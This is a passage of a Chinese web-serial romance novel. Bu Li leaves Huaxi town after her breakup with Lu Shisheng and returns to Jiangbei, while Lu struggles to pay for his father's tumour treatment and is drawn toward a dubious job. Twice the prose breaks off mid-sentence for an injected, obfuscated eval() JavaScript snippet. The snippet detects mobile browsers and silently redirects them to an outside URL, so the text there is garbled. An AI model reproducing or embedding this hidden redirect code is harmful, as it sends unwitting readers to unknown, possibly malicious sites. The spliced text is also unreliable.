前几日,他们还在这里亲吻。可现在一切都变了。她想洗掉之前的记忆,洗掉陆时生的气息。 步梨看着玄关。 她特意准备了一双男士拖鞋,那双鞋孤零零地被抛弃在鞋架上,步梨想走过去把它收起来,刚门开脚,就觉得眼前一暗,胃里一片恶心。 砰地一声,世界好像塌了下来。 步梨感觉自己身处在一片黑暗之中,四周什么都没有,辨不清方向,她在黑暗中摸索着前行,走了很久才隐约看到前面有一道微弱的火苗,步梨努力朝火苗走去,双脚却被藤蔓缠住,无论怎么都挣脱不开。 远方有人在喊,步梨隐约听到,对方在喊她的名字。 她索性蹲下身,用了吃奶的力气将脚上的藤蔓扯掉,终于在某一刻挣脱了束缚。 眼前的画面逐渐清晰,她慢慢看清楚,是冯雅在喊她。 冯雅满脸惊慌地正看着她,见步梨醒了,深深松了一口气。 步梨这才发现自己躺在沙发上。 刚才冯雅在打扫房间,听到玄关的地方传来响动,便过来看,正看见步梨晕倒在这,她急忙过去把步梨搀扶到了沙发上。 要是再摇不醒步梨,她就得叫医生了。 她摸了摸步梨的额头,嘶了一声,“步梨姐,你额头好烫,你发烧了。” “没事,冯雅,你会做饭吗?”步梨刚醒,声音还是虚的。 冯雅顿了顿,“简单的会一点儿。” “帮我随便煮点东西吧,我刚刚应该是低血糖了。” “我这就去。” 冯雅去了厨房,又不放心地往沙发这边望了两眼,心里犹豫着要不要把陆时生喊过来。 她煮了一碗面,端过来的时候步梨在沙发上闭着眼,冯雅以为她睡着了,便轻轻把面放在了茶几上,起身的时候,她忽然看到步梨的眼角有晶莹的液体流出来。 冯雅收回眼,暗暗想了一会儿,然后自言自语了一声,“筷子忘拿了。” 她转身去拿了双筷子过来,回来时,步梨已经坐了起来,神色一如既往,看起来很淡定,朝着她说了一声,“多谢。” 冯雅不太会哄人,可她从没见过步梨这个样子,心里无比心疼。 她沉默了一会儿,开口道:“步梨姐,我今天早上打扫的时候,想擦一擦那些照片,不小心把康子洲的照片碰掉了,相框碎了,我就把照片先收了起来,还没来及跟你说。” “对不起,这件事是我的错,让你们误会了,要不我把陆时生叫过来,我跟他解释一下吧。” “不用了,没关系。”步梨说道。 “那你跟时生哥——”她不太知道怎么开口。 步梨挤出一个笑来,“我们分手了,不过和你没有关系,我们本来就不合适。” “时生哥这次真的太过分了!”冯雅说真心话。一开始她嫉妒步梨,每时每刻都担心陆时生会喜欢上步梨,但后来她觉得步梨是真的很好,漂亮有钱,对别人还温柔体贴,她心里越想越气,“他根本就配不上你!” 步梨心里苦笑一声。 又是这句话。 每个人都觉得她站在高位,是那个条件优越的人,在感情上占据着制高点,可事实上,她却是那个被这句话刺得千疮百孔的人。 窗外红霞浓烈,像是天空被撕裂泛出来的血红,黑夜拼了命地闯进来,最终,它成功了。 步梨没什么胃口,吃了两口面便放下了, 冯雅以为是面的问题,心虚地问道:“是不是不好吃?要不我把陆——” 步梨打断她,说道:“冯雅,这个店要关了,别再接新的客人了,等把最后一位客人拍完,我就要回江北了。” 冯雅一愣,“这里不开了吗?” 她以为步梨和陆时生只是吵架,就和她上学时班上的很多小情侣一样,分分合合,吵架跟吃饭一样频繁。 步梨也跟她提过回江北,但她以为也是像上次步梨去东岛一样回去几天,就会回来。 “不开了,我这次回江北,以后就长待在那里了,冯雅,你也得早为自己做打算,好好学习,考一个好大学才是正经事,正好也快9月份了,你也回去好好准备准备复读吧。” 冯雅低了低头,嘀咕道:“你之前还让我勇敢追爱呢。” “现在自己失恋了,就又变了卦。” 后面这句话她只在心里念叨了句,没有说出口。 “不冲突,你好好学习,也是在勇敢追爱,杜庭去上大学了,你要想跟上他的脚步,就也得努力考上大学。” “知道了。”冯雅小声道。 步梨觉得累了,便让冯雅早些回去,自己上了楼休息。 她吃了两片退烧药,便早早躺下休息了。 退烧药似乎不太管用,步梨睡得不太踏实,床单被汗水浸了后潮潮皱皱的,她翻来覆去,只得浑身像是被重物拽着,拉入一个迷雾重重的荒芜之地。 隐约间,似乎有人把她扶起来喂了点汤药,又在她额头上放了块凉凉的毛巾。 步梨嗅到一股熟悉的味道,本能地抓了抓他的衣角。 过了会儿,她觉得浑身发热,和之前不一样,这回的热不是燥热,是一种温热的包裹感,身上也轻松了不少,没多久便沉沉睡去。 第二天清早,步梨烧退了,起床之后,她才发现昨晚吃错了药。 当时她整个人迷迷糊糊的,从药箱里翻找出两粒就吃了,今天一看才发现是维生素。 得亏不是什么别的。 但维生素好像还蛮管用了,休息了一晚后,步梨今天早上精神不错。 她觉得肚子有些饿,下楼去厨房寻觅吃的时,忽然想起昨天晚上,好像有人来照顾过他。 是冯雅吗? 她仔细回忆了一番,但大脑像断片了一样怎么都想不起来,只记得她喝了很好喝的汤。 那个味道是...... 是他吗? 可这个房间,只有冯雅和陆时生知道进门的密码。 她在厨房转了一圈,没发现什么不一样。 看不出一点儿被人动过的痕迹,可步梨就是觉得不对劲儿,她打电话给了冯雅,“冯雅,昨天晚上陆时生是不是来过?” “没有啊。”冯雅摇头否认。 “冯雅,你对我还瞒着干什么?” “好吧,他来过,但不让我告诉你。”冯雅承认道。 “知道了。”步梨挂了电话,觉得自己有点可笑。 何必纠结这个问题? 他来过就来过吧,既然他来又不想让她知道,她就算去追问也没有用。 多半是因为觉得愧对于她,想要弥补一些。 转眼入秋,20号这日,步梨为最后一位预约的客人拍完了照片,然后挂了闭店公告。 冯雅最终还是听从了她的建议,回学校复读去了。 步梨去跟吴奶奶告了别,吴奶奶拉着她的手眼泪都要流出来了,她虽然不舍,但觉得步梨的选择没错。 “是陆时生那小子不知好歹,我看错他了。” “不过这事儿你也别太怪他了,男人都是要脸面的,以你的条件,回了江北,找个门当户对的,人品好模样好的,以后会更幸福的。” 步梨只管点头,临走前,吴奶奶照旧给她带了好多鱼干。 离开进入了倒计时,步梨在花溪镇的日子好像又恢复了刚来时的安静,每天早上醒来就喝喝咖啡,在露台上吹吹风,什么事也不干,就静静坐着,看树叶被风吹下来,在空中被戏耍几次,落到地上后还不得安宁,迫不得已地摩擦着地面,发出沙沙的摩擦声。 她有时候也会去菜市场老张那里买些鱼虾,老张眼力好,只上次见过一面就认出了她,每次都会多给出不少斤两,但从没在她面前问过陆时生。 步梨拎着买好的食材回去做饭,一切都很平常,只是经过望潮木工坊会特意绕路而行。 这天她到家时,崔胖正在门口等她。 应该是等了有一会儿了,他正在门口一个石阶上坐着,手里捧了个煎饼在吃,已经剩最后一口了,见步梨来了,他飞速地把煎饼全都塞进口中,胡乱嚼了嚼,冒着被噎死的风险直接咽下,快步到了步梨跟前。 “步梨姐,你终于来了!” 步梨朝他笑了笑,“我刚从菜市场回来,要不要一块吃饭?” 崔胖想着步梨做的饭,猛然摇了摇头,他从怀里掏出一个针织的包包来塞给步梨,“听说你要走,我特意来跟你道别的,这是我送你的礼物。” 这包是手工织的,每一根线条都细致入微,触感十分舒适,正面绣了只明灿灿的梨子,“这是我妈亲手织的,不过这个梨子上的点点是我绣的哦。” 崔胖邀功一般露出一排整齐的小白牙。 “还有,我以后我也不当快递员了,我要跟我二叔一块开个店,步梨姐,我以后挣了大钱,还会给你买更好的礼物,以后我能去江北找你吗?” “当然了,不过不用带礼物,这个礼物我就很喜欢。” 步梨把包夹在腋下,一边开门,一边邀请崔胖进去坐坐。 “不用了,这儿还有两个快递,是......是生哥让我送过来的,我先回了,再见,步梨姐。” 崔胖说完,转身走了。 步梨盯着那两个纸箱发愣。 她记得自己应该是只有一件快递。 前些天她控制不住想要去联系陆时生,又不断告诫自己不要去,来回纠结,就在网上随意下单了件东西,想以这个为理由去见他一面,只是到了后又一直没勇气去取。 看来陆时生一点都不愿意见她,派崔胖送了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573949|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。 停了好一会儿,她将快递箱一并抱进了屋子。 她买了一件东西,怎么会有两个箱子? 这两个箱子摞在一起,下面的箱子上面并没有贴快递单,只是贴了胶布。 步梨找了剪刀把胶带划开,里面的物品展现在眼前。 她感觉心猛地被针刺了一下,迅速将纸箱合了上,丢在一边,仿佛那是一颗炸弹,多看一眼,心里某个地方就会被无尽的火焰烧成荒芜。 里面是她曾经送给陆时生的手工艺品。 陆时生将这个布偶还给了她,这意味着什么显而易见。 就是不愿再和她有纠葛。 只是一个礼物,都不愿留着。 这是要老死不相往来的节奏吗? 步梨不明白,积压了很久的情绪终于在这一刻爆发。 她出了门,一路到了望潮木工坊,也顾不上什么面子,顾不上陆时生怎么看她,她只想来问一问陆时生,不过是当了一阵恋人后分开,他又为何做得如此绝情? 或者,她什么都不问,只来道个别就好。 望潮木工坊几个字映出眼帘的时候,步梨在街道对面停住了脚步。 透过落地窗,步梨看到结账台前有两个人。 除了陆时生,赵菲也在。两人不知在聊些什么,但从表情来看,两人相谈甚欢。 步梨在原地站了一会儿,愤怒、痛苦、嫉妒、酸楚交织在一起,最终变成麻木,什么都感觉不到。 她觉得她不再需要答案了,转身走了。 这段日子她经常循环往复地想到底是从什么时候开始出现的问题,是可以解决的吗? 她甚至想过,或许她不该在那天吃晚饭的时候,说一句“酱油放多了。”也不该怀疑他扔掉了康子洲的照片。 或许这样的话,她还可以和陆时生保持和谐的关系再多一段时间。 可真的是这样吗? 不说那句话就行了吗? 她知道不是。这些都只是不愿意面对那个最真实的最无力改变的问题根源而找出的理由罢了。 她想了很多,回过神来的时候眼圈又凉又酸,被风吹得发红。 ... 望潮木工坊。 赵菲倚在结账台前,她的目光敏锐地瞟到了窗外的一处,对陆时生道:“不去追一下?” “不了。”陆时生靠在椅子上,双眸垂下来,一眼都没往窗外去看。 “真不识好歹,我要是能去江北发展,还有人扶持我,我求之不得,有什么丢人的?人脉是一方面,自己的能力是一方面,成大事就是要天时地利人和,但靠自己闷头干,以你的起点,到底限制太多,有人帮忙也是你的本事,管他别人说什么!” 陆时生笑了笑,“我以前倒是没发现你这么想得开。” 赵菲白了他一眼,嗤声道:“你不跟我,也是一大损失,但你当初没选我,现在要后悔,我可不要了。” “我就是个没福气的,就不劳你费心了。”陆时生道。 赵菲见他一副自暴自弃的模样,说实话挺想揍他一顿的,鉴于对方身材高大,与她的武力值不在一个层面上,她咬牙忍了忍,“就算你不去江北,也不至于分手吧。” “她回去后,可以去梦寐以求的江北大学工作,见我不想去,还想着要跟我一块待在花溪镇呢,我不想让她以后后悔,拖累她一辈子。” 赵菲听着这理由,也情有可原,可还是觉得可惜,叹了口气道:“步梨这么好的姑娘,你说分就分了,以后上哪找这么好的人去?” 陆时生抬了抬眼,平静地说:“不找了,我一个人过也不是不行。” 赵菲啧啧两声,“你看看,这是要为了步梨姑娘终身不娶了?” “你还真是个妈宝......”赵菲觉得这个措辞不妥,想了了,改口道,“应该叫爸宝男,陆叔说什么,你还就是什么?他一小村子里的老头,眼界窄,思想也固执得很,就知道要面子,你就随他了?我觉得你可以再跟他好好聊聊。” 赵菲听过陆望潮年轻时候的事。 他是当年花沟县城的高考状元,当年花溪镇为数不多的有出息的青年,在大学里结识了一名富家女,当了上门女婿,只是听说结婚后两人经常吵架,他妻子出车祸去世之前,就是因为两人吵架走了神,导致了无法挽回的灾难。 所以陆望潮绝对不允许陆时生重蹈覆辙,一听他想跟步梨一块去江北,直接气到住院。 “对了,陆叔身体怎么样了?我听说前段时间他好像就老是不舒服,检查结果出来了吗?” 陆时生道:“不是很乐观,医生建议做个脑补的CT看看,之前他一直不肯检查,我三番五次劝过后才同意,他本来就倔,现在得了病,我更得顺着他了,其他的事等他病好了再说吧。” 赵菲点了点头,“明天我跟你一块去看看陆叔。” ... 告别之日很快来临。 22号这日,步梨收拾好了行李,锁了大门,提着行李箱踏上了回江北的旅途。 火车慢慢开动,沿着漫长的海岸线形势。 步梨望着一点点远去的海滩、小路、房屋、树木,随着消逝的时光一样,渐渐淡出视线。 步梨深深看了一眼,似是要将这里的一草一木都印在心里,然后匆匆收回目光,不忍再去看,窗外的每一处树木、房屋、石头都在向她告别,默默伫立在原地同她说着再见,可她还没有接受离别。 步梨闭上了眼睛,在心里默念。 再见,花溪镇。 再见,陆时生。 41. 消遣 江北车站,步梨一走出火车站,就见到了来接站的沈思筝。 她给了步梨一个大大的拥抱。 “欢迎公主回家!” 步梨感受着江北的早秋,连风里的味道都很熟悉。 “等多久了?” “五分钟吧,路上堵车,吓死我了,生怕迟到。”沈思筝夸张地拍了拍自己的小心脏。 步梨望着车水马龙的街道,想着堵车这个词,她已经好久没听到过了,花溪镇从来不会出现堵车的情况。 她一路跟着步梨上了车,座椅质感光滑细腻,两侧环绕着柔和的流线型灯光,像是月光下的溪流,静谧而温暖。 “这车不错吧,是不是很浪漫?”沈思筝笑眯眯地问。 步梨认真地感受了一下,时隔多年,她没想到沈思筝车技变得这么好了,稳稳当当地操纵着方向盘,活像个老司机,“这是之前温故的那辆?” “嗯,是不是挺好?”沈思筝咬了咬牙道,“温礼那小子连车都不会开,学了半年了科二都没过,我小姨就将这车送我了。” 步梨听出她语气里的厌恶,问道:“你不喜欢温礼吗?” 她想起之前关于温礼的传闻。 沈思筝皱了下眉,“不好评价,也不是不喜欢,他平时唯唯诺诺的,一副贼好欺负的模样,刮阵风好像就能把他吓跑,我看着心烦,不提这个了,你想想看一会儿吃什么,我们去庆祝一下。” 步梨长叹了一口气,惆怅地看着车窗外说:“有什么好庆祝的?” “怎么没有?”沈思筝恨铁不成钢地看了她一眼,“打起精神来好不好,见到我不开心吗?你现在这是情场失意职场得意,那可是宁庄工作室抛来的橄榄枝啊,江北大学名下诶,不比一个老男人重要得多?” 步梨觉得沈思筝说得没错,她也很努力地这样开导过自己了,只是效果甚微,打心底里开心不起来,“总得给我点时间吧。” “行,等正式收到offer了,你心情肯定会好很多,今天我带你去放纵放纵,把不好的情绪发泄出来,我全盘接收。” 步梨也不想让自己闲下来,更不能辜负沈思筝的好意,她心生感动,点头答应道:“好啊,那就去你上次说的粤菜馆呗。” 沈思筝做出个赴死的表情,“你可真会挑,那个死贵死贵的。” 步梨听后来了兴致,“那就定这个了!” ... 花沟县医院。 长长的楼道里,陆时生站在楼梯口拨着电话。 这是最后一个他可以找的人了,如果不行的话... 他脑子里很乱,思绪随着电话的接通被打断。 “三叔。” 陆时生一下午打了好多通电话,开口嗓子都有些哑了。 “时生啊,叔尽力了,你婶子她前段时间身体不好买药花了不少钱,你弟媳现在大着肚子,隔三差五就跑趟医院,也不知道都做了什么检查,一个月就花出去了四五千,以后生了孩子就更要用钱了,我这就六千块钱,今天我就打过去,你先用着,要不够......唉,叔也没办法了。” 陆时生咬了咬牙,眼下这情境,也顾不得情面不情面,直言道:“三叔,之前您买房,我爹借您了五万,您还有两万没还。” 那边叹了一口气。“你这孩子怎么不听人说话呢,三叔这要是有钱,早就给你打过去了,这六千几乎是我全部的积蓄了,后面的我会慢慢还,但现在叔是真没有了。时生,我先不跟你说了,你婶子喊我呢。” 电话被挂断。 陆时生听着滴的一声响,耳膜有些刺痛,手里的报告单被捏成了一团,似乎他再用些力气,那上面印着的病就能被捏碎、消散。 可这是不可能的。 陆时生转身回到病房,在门口看见了阿水。 他没想到阿水会来,他们两人只是认识,连朋友都算不上。 “我来看看陆叔。”阿水正要进去,见到陆时生,停住了脚步。 陆望潮不认识阿水,见有人来看他,还是开心地露出一排白牙,笑着道:“是时生的朋友?” 阿水道:“是啊是啊,陆叔我给您带了好东西。” 陆望潮艰难地抬手,指了下自己的脑袋叹道:“吃不成了,我这脑袋里啊,长了颗炸弹,没准什么时候就爆了。” “爸,就是个普通的肿瘤,割掉就行了。”陆时生不悦地说道。 阿水附和道:“陆叔,您就放宽心好好治,我有朋友也得过肿瘤,做了手术之后现在一顿饭吃三个馒头,身子比我还壮,我先走了,不打扰您休息。” 阿水和陆望潮不熟,也没什么可聊的,来看看便走了,陆时生把他送出门口时,他迟迟没迈步。 忽然,他抓了下陆时生的胳膊,似乎有话要说,四面看了一番之后,才小心翼翼地从怀里掏出一个塑料袋,里面整整齐齐裹着一打现金。 “陆哥,这是两万,你拿着先给陆叔治病,不用着急还。” “这......”陆时生垂眸看着他手里的钱,迟迟没去接。 阿水继续说道:“我就攒了这么多,先借给你应急,我一个人来花溪镇,多亏你帮我找了工作和住处。” 陆时生摇摇头,“举手之劳而已,不用你这样。” 阿水执意将钱给他,“你可能觉得没什么,但那段时间其实是我人生中的至暗时刻,在江北的工作受挫,心灰意冷来到这里,人生地不熟,你是第一个帮我的人。我现在一个人在这边生活挺好的,花销也不大,完全能自给自足。” “陆哥,拿着吧,是借不是送,后面你还我就是了。”他不在酒吧唱歌的时候,只是普通人的打扮,在数码店踏踏实实打工干活,也赚不了几个钱。但就是这样一个萍水相逢的人,一出手就借了两万块给与他非亲非故的陆时生。 陆时生把钱接了过来。 “谢了,日后我肯定想办法,尽快还你。” 阿水拍了拍他的肩膀,要走,又停住,转身对陆时生道:“对了,我在江北认识位朋友,跟着他能赚不少钱,你考虑考虑,要是想去那边挣钱,我可以帮你联系。” “江北?”陆时生目光暗了暗,“是做什么?” 阿水摇摇头,“具体做什么不太清楚,好像是影视行业,不过他人挺靠谱,赚的钱也不少,去年都开上大奔了。” 陆时生握了握拳,感觉心一根铁丝缠住,呼吸也有些困难。 江北那么大,应该不会遇到吧、 他张了张口,“算了。” ...... 很顺利地,步梨收到了江北大学宁庄工作室正式的offer,入职时间是在9月中旬。 入职前的日子,步梨便安心闲在家。 她爸妈正好从国外回来,步梨以为他们一家人可以其乐融融一起生活几日,没想到和家人待在一起,她整日就是被催着去相亲。 宋涵云女士不知从哪弄来的一叠照片,里面个个是西装革履年轻帅气的精英男士,但步梨见过其中一个,实际上头都秃了,这里面不知道有多少是赤裸裸的照骗! “妈,我才多大,这么着急干嘛?我现在想专注搞事业。”步梨咬了口油条,觉得怪硬的,吃了两口就放下了。 宋涵云看她没什么胃口,给她夹了一个小笼包过去,“事业爱情可以两手抓啊,你挑一个先见见面,这小孩就不错,上次在你大伯的生日宴上我见过,他主动来和我打招呼,又优秀又有礼貌。” 步梨瞥了一眼,见她说的是吴延,摇头道:“不要。” 一个常年混迹于酒吧的风流纨绔,她才不想花时间跟他见面。 “这个呢?”宋涵云一张张翻着照片,忽然停下,看了眼步梨,咦了一声,“我怎么觉得你不太对劲儿?胃口也不好,干什么都没兴趣,你在花溪镇的那段时间,是不是谈恋爱了?” 步梨慌了一瞬,急忙否认,“没有啊,我就是觉得那地方好,空气好,海鲜也好吃,家里就没有。” “我还以为什么事儿呢,明天我让赵姨去买点新鲜的海鲜不就成了?这两天你在家也没事,我帮你约约吴延,今天去见见?” 步梨道:“不见,我今天约了朋友吃饭。” 宋涵云急了,“你这孩子!那明天见。” “我都说了我要专心搞事业。” 宋涵云瞥了她一眼,“还搞事业,之前你在艺术大学的时候也是这么说的,后来突然就离职,也不跟我们说原因,还是我找人打听的,你在外面受了那种委屈,怎么不跟家人说呢?” 步梨倔强道:“当时你们有不在家,而且没什么可说的,我自己把事情搞砸了,不用你们给我收拾烂摊子。” 宋涵云提高了音量,“这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581086|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子怎么这么倔?妈妈不需要你证明什么,只想你开心快乐,别受委屈就足够了。” 步梨不耐烦道:“那你们还能护着我一辈子不成?” 宋涵云笑了一下,笑眯眯地将话题扯回来,“所以现在要赶紧找个男人,这样我们将来老了死了,也有人护着你啊。” 步梨急了,放下碗筷,没好气道:“妈你这是什么想法?我就不能靠自己?” 宋涵云叹了口气,“妈妈也是为你考虑,多一个庇护你的人总是好的,搞事业又不耽误谈恋爱,再说你去江大,还不是因为我上次跟张教授提了一嘴,现在你翅膀硬了,不听我话了是吧。” 步梨整个人愣住,“妈,这工作是你帮我说的?” 她以为自己这些年不断努力,终于靠自己的本事成功了一回,没想到她还是错了,好像逐渐建立起来的自信心被人抽走了最底部重要的一块,再次变得摇摇欲坠。 终得还是要在家人的保护伞下生活。 步梨的姥姥谢兰珍在一边看着这母女俩斗嘴,本来挺开心,但见此时步梨的脸色,她察觉到其中的情绪,开口安慰道:“香瓜说得有道理,我们谁也不靠,就靠自己,我们香瓜本身这么优秀,你妈就是提了一句,没说别的,能不能入选还是得看你的作品。” 说罢,又拍了下宋涵云的胳膊,劝道:“相亲的事,她不喜欢就算了,你那照片里的小伙子我看也都一般,缘分这种事要慢慢地遇。” 步梨的心情重新开朗起来,她有了靠山,人也硬气不少,挺了挺胸脯,朝着宋涵云哼了一声,又对着谢兰珍娇声道了句,“还是姥姥对我最好了。” 老太太一发话,宋涵云只能先作罢,不太满意地说道:“妈,您是不是还想着温家那小伙子?” 谢兰珍愣了愣,说道:“可惜了,我和温家的老太太关系最好了,当时还想给两家结亲来着,谁知道就出了那种事,现在你温大伯领了个养子回来,我看那小子,不太行。” 步梨有些烦他们讨论这些事,没吃几口就放了碗筷,约了沈思筝还有几个朋友一块出去放松放松。 沈思筝是第一个到的,手里捧了一大束鲜花送给她,“恭喜我们香瓜女士,现在应该叫步老师了吧。” 步梨失落道:“别给我戴高帽了,我今天刚知道,我这工作是我妈帮我找的。” 沈思筝不以为意,“这有啥的,江北大学的招聘一向公平公正,阿姨肯定也只是帮你提供一个作品能被人看到的契机罢了。” 这会儿其他人也陆续来了,步梨便没再提这个事。 她去花溪镇了大半年,在江北的不少朋友好久都没见了,赖依依还是一如既往地嘴欠,一进来听说是步梨请客,就嚷嚷着要把最贵的全都点一遍。 步梨看着她越发圆润的脸,连双下巴都出来了,哀叹着斥了句,“赖依依你上辈子是饿死鬼吗?” 赖依依呵呵地笑了两声,东西一点没少点。 “人生就是要及时行乐,” “香瓜,听说你在花溪镇谈了个土包子男友?怎么,原来你喜欢淳朴朴素的?” “什么样的男的能让我们香瓜大小姐看上?” “没照片。” 步梨恹恹的说。 她回江北的前一天,为了防止自己睹物思人,将所有与陆时生有关的东西都留在了花溪镇,还有照片,也都导入了一个优盘里,没带回来。 聊起这个,沈思筝觉得她也算有点话语权,接过来道:“我见过一次,平平无奇,扔在人群里一眼都找不到的那种,真不知道有哪里好,对了,好像数学不错。” 话落众人都笑了起来。 “梨子就喜欢成绩好的。” 在他们眼里,步梨只是去花溪镇度假的时间,闲来无事想换换口味,所以找了个当地人谈谈恋爱,当不得真。甚至他们觉得这种都不叫恋爱,只是临时找了个度假搭子。 步梨想说她的眼光才没那么差,那人又高又帅,会做饭,会打鱼,会做很多木工活,还很会照顾人。 话都到了嗓子眼,步梨忽然意识到自己是好了伤疤忘了疼吗? 她又想起陆时生那句冷冰冰的话,“步梨,我不喜欢你。” “谁的生活里还没个小插曲了?”最终,步梨还是顺了大众的想法,开口说道:“去那边又没事干,总得找点消遣打发打发时间吧。” 42. 你活着,只能是赎罪 江北市肿瘤医院。 陆时生给陆望潮擦洗了身体后,开始收拾床头柜上的垃圾。 一个月前,陆望潮的病突然恶化,县医院的医疗设施不足,大夫只能建议转院去江北治疗。 短短几日,病魔便把这个强壮的男人折磨得形同枯槁。 陆望潮整日连床都下不了,精神也近乎恍惚,经常躺在床上说胡话,喊着疼,重复说着自己要死了,严重时还会胡言乱语,说一些陆时生听不懂的话。 陆时生打开早上送来的饭盒,里面的鸡汤原封未动。 他拧了下眉,“爸,给您带的汤您怎么又没喝?” 陆望潮嘴里念叨着,“我不喝,不喝!你在里面放了毒药,要毒死我!我才不喝!” 他经常这样说,陆时生习以为常。 他用手指探了探温度,汤已经凉透了,最上面漂浮着几片油点,卖相着实不太好,没法儿让陆望潮喝,只能拿回去热热。 “什么时候回家?”陆望潮再次问出了被他重复不知多少遍的问题。 这些日子,陆望潮天天吵着不治了要回家去,陆时生早已习惯了着陆望潮的每日的这些叫嚷,只自顾自收拾着,随口敷衍地回了句,“您病好了就回去。” 陆望潮一听便知道是回不成了。 他有些急,“时生啊,你当初想跟那步梨姑娘一块去江北,是不是想离我远远的?你跟我一块生活很压抑,所以想逃,是不是?呵呵,现在可好了,来江北了,你如愿了,你想待在这里不回去是不是!你要不回去,我明天自己回去!” 陆时生淡淡道了句,“行啊,您知道怎么去车站吗?” 陆望潮握紧了拳头,瞪着眼说道:“我找人打听!在这儿死了,就是客死他乡,我死也要死在花溪镇。” “那您先打听好再走吧,不然在大街上犯了病,就真是客死他乡了。”陆时生静静听他说着,手里的活儿也没停,这会儿拿了块抹布把床边柜上的脏污都擦得干干净净。 旁边跛脚的大爷听了为他狠狠捏了把冷汗,生怕他把自己老子给气死了。 陆望潮倒是跟没听见陆时生的话一般,躺在那里眼神一片空洞,他没再说话,绝望地望了一会儿天花板,之后又低低开口。 “我该走了,去找他们......” “我是个有罪的人......” “我对不起你,但我给了你一条命,你也应该给我送终。” “等我死了,你一定要把我带回花溪镇,埋在坟地的最东边。” 他精神恍惚地念叨着,忽然停住看着陆时生。 陆时生给他递过来了一杯温水,“口干吗?喝点水。” 陆望潮没抬手,目光深深地望向陆时生,他的眼神比往常多了很多不一样的情绪,半晌,他忽然开口问:“时生啊,你恨我吗?” 陆时生愣了愣。 对于他这个父亲,若说他心里没有恨,是假话。 陆望潮经常骂他,骂他是个克星,害死了他母亲,让他们原本好好的一家人阴阳相隔。 他不记得自己那些过去,或许他混蛋、败家、不务正业,可他既然已经忘了,为什么要一直用过去的事折磨他? 陆望潮出去干活儿,常常一走就三个月到半年不等。他不在家的期间,陆时生的生活会轻松很多,他认真地干着自己的工作,告诉自己要往前走,总会越来越好的。 望潮木工坊和快递站渐渐有了起色,陆时生本以为生活在慢慢地回归到正轨,可等陆望潮一回来,生活就会被立刻打回原形。 他明明在变好的,为什么他父亲一直不能承认他现在的好,而要提他肮脏不堪的过去呢? 他真的不能被原谅吗? 陆时生想不明白。 有时候他会很想记起自己从前到底都做了什么,他到底是怎样一个罪大恶极之人? 可他又很害怕自己想起来,他怕自己没有勇气面对那些血淋淋的真相,没有勇气再往前走。 “要不是你,你妈怎么会死?” “你往医院不管不顾地一趟就是一整年,醒了就说什么都不记得了,不记得了?你以为不记得了,你做的那些事就能一笔勾销吗?” “别以失忆找借口,你记不得了,我都还记得!” “你就应该也死了!” “你活着,只能是赎罪。” 陆时生清清楚楚记得陆望潮跟他说过的这些话。 可既然陆望潮希望他死,当初又何必倾家荡产去救他? 他刚醒还在医院里的那些日子,听护士说过,他醒过来的几率非常小,可陆望潮偏偏就是守着那小到可怜的几率,坚持到奇迹发生。 陆望潮没放弃他,是想等他醒过来后,狠狠地折磨他么?想让他接下来的一辈子都在悔过与痛苦中度过么? 或许是吧。 陆望潮想让他赎罪,可没料到他这个不成器的儿子在醒来之后把之前的一切过错忘得一干二净。 他怎么能不气? 所以,就像他说的,陆时生活着,便只能是赎罪。 陆时生把水杯放了回去,平静地说:“我是恨你,但你是我爸,我得给你治病。” 就像他当初在医院日复一日照顾他一样。 陆望潮听过,整个人像是瘪了下去,蔫蔫地说:“我不是你爸,你没义务管我的。” 陆时生觉得他又开始胡说,他没心思再跟他拉扯这些,命令式的口吻说了句,“那也得治病。” 说完,他带着装好的饭盒和衣物,出了病房。 * 陆时生在老旧的居民区租了一间地下室,作为他在江北市的临时住所。 房间只有十几平米,但陆时生东西少,对住处的要求是干净、能睡人就够了。 刚来江北的那几日,陆时生把父亲安顿好,就电话打给了阿水,让他帮忙联系之前说的江北的朋友,阿水很快给他发来了一串电话号码。 一听是阿水的朋友,对方也没拒绝,只说让他过去跟老板见见面。陆时生换了件干净衣服,按照约定的时间找到了地方,接他的是一个矮个光头的中年男人。 中年男人一见到他,眼珠子灵活地转了两圈,将他浑身上下打量个遍,陆时生被他看得浑身不自在,开口问了句,“你好,您是王哥?” “对,陆时生是吧,”王显松笑眯眯地开口,露出两颗明晃晃的大金牙,“阿文推荐过来的人,果然不错,一会儿你就放轻松,肯定没问题。” 陆时生想起阿水的真名叫彭文赛,确认了他是介绍人没错。 王显松带着陆时生进入一座六层的商业楼,门口的大厅的墙上有几个金字,由恩影视。上电梯的时候,陆时生迟疑地开口,“王哥,能问下具体是什么工作吗?” “别急,先让刘导看看,之后他会给你安排的。” “好的。”陆时生跟着王显松出了电梯,穿过狭长的楼梯,来到楼道最尽头的房间,陆时生边走边打量这四周,愈发觉得不对,这里怎么看都不像是正式的办公场地。 “到了。”王显松开了门,见陆时生站着没动,催促地喊了声,“进来啊小陆,别拘束,你一大男人怕什么?咱们工作的地方虽然小了点,是因为咱工作的隐秘性,放心,到时候钱不会少的。” “隐秘?”陆时生疑惑地重复了一遍。 “对啊,”王显松笑了声,“别误会,咱们干的都是正经工作!” 说完,他朝房间里高喊了一声,“刘导——人来了——” 陆时生进了门,王显松把房门紧紧关了上。 